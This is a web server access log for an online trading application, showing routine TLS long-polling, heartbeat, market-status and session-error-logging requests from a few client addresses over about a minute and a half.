[09/Jan/2026:09:56:36 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924080229 HTTP/1.1" -
[09/Jan/2026:09:56:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924069643 HTTP/1.1" -
[09/Jan/2026:09:56:41 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924072800 HTTP/1.1" -
[09/Jan/2026:09:56:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924071055 HTTP/1.1" -
[09/Jan/2026:09:56:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924086237 HTTP/1.1" -
[09/Jan/2026:09:56:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:56:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924074695 HTTP/1.1" -
[09/Jan/2026:09:56:46 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924077849 HTTP/1.1" -
[09/Jan/2026:09:56:48 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924092230 HTTP/1.1" -
[09/Jan/2026:09:56:48 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924077055 HTTP/1.1" -
[09/Jan/2026:09:56:50 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924079728 HTTP/1.1" -
[09/Jan/2026:09:56:51 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924083018 HTTP/1.1" -
[09/Jan/2026:09:56:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:56:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:56:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:56:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:56:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924097305 HTTP/1.1" -
[09/Jan/2026:09:56:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924083053 HTTP/1.1" -
[09/Jan/2026:09:56:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924084757 HTTP/1.1" -
[09/Jan/2026:09:56:56 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924088134 HTTP/1.1" -
[09/Jan/2026:09:56:58 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924102342 HTTP/1.1" -
[09/Jan/2026:09:57:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924089054 HTTP/1.1" -
[09/Jan/2026:09:57:00 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924089771 HTTP/1.1" -
[09/Jan/2026:09:57:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:57:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:57:01 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924093297 HTTP/1.1" -
[09/Jan/2026:09:57:03 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924107372 HTTP/1.1" -
[09/Jan/2026:09:57:05 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924094813 HTTP/1.1" -
[09/Jan/2026:09:57:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924095049 HTTP/1.1" -
[09/Jan/2026:09:57:06 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924098355 HTTP/1.1" -
[09/Jan/2026:09:57:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924112402 HTTP/1.1" -
[09/Jan/2026:09:57:10 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924099837 HTTP/1.1" -
[09/Jan/2026:09:57:11 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924103431 HTTP/1.1" -
[09/Jan/2026:09:57:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924101053 HTTP/1.1" -
[09/Jan/2026:09:57:13 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924117467 HTTP/1.1" -
[09/Jan/2026:09:57:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:57:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924104873 HTTP/1.1" -
[09/Jan/2026:09:57:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924108583 HTTP/1.1" -
[09/Jan/2026:09:57:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924107054 HTTP/1.1" -
[09/Jan/2026:09:57:18 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924122525 HTTP/1.1" -
[09/Jan/2026:09:57:20 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924109905 HTTP/1.1" -
[09/Jan/2026:09:57:22 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924113756 HTTP/1.1" -
[09/Jan/2026:09:57:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:22 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:57:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:57:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:57:23 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924127591 HTTP/1.1" -
[09/Jan/2026:09:57:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924113049 HTTP/1.1" -
[09/Jan/2026:09:57:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924114946 HTTP/1.1" -
[09/Jan/2026:09:57:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924118925 HTTP/1.1" -
[09/Jan/2026:09:57:28 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924132620 HTTP/1.1" -
[09/Jan/2026:09:57:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:57:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:57:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924119741 HTTP/1.1" -
[09/Jan/2026:09:57:30 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924119980 HTTP/1.1" -
[09/Jan/2026:09:57:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:57:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:31 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:57:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924124073 HTTP/1.1" -
[09/Jan/2026:09:57:34 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924137643 HTTP/1.1" -
[09/Jan/2026:09:57:35 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924124820 HTTP/1.1" -
[09/Jan/2026:09:57:35 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924125029 HTTP/1.1" -
[09/Jan/2026:09:57:37 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924129181 HTTP/1.1" -
[09/Jan/2026:09:57:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924142712 HTTP/1.1" -
[09/Jan/2026:09:57:40 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924129853 HTTP/1.1" -
[09/Jan/2026:09:57:40 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924130064 HTTP/1.1" -
[09/Jan/2026:09:57:42 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924134231 HTTP/1.1" -
[09/Jan/2026:09:57:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924147782 HTTP/1.1" -
[09/Jan/2026:09:57:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:44 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:57:46 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924135105 HTTP/1.1" -
[09/Jan/2026:09:57:46 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924134887 HTTP/1.1" -
[09/Jan/2026:09:57:47 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924139459 HTTP/1.1" -
[09/Jan/2026:09:57:49 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924152809 HTTP/1.1" -
[09/Jan/2026:09:57:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924140144 HTTP/1.1" -
[09/Jan/2026:09:57:52 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924141055 HTTP/1.1" -
[09/Jan/2026:09:57:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:52 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:57:53 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924144581 HTTP/1.1" -
[09/Jan/2026:09:57:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:57:53 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
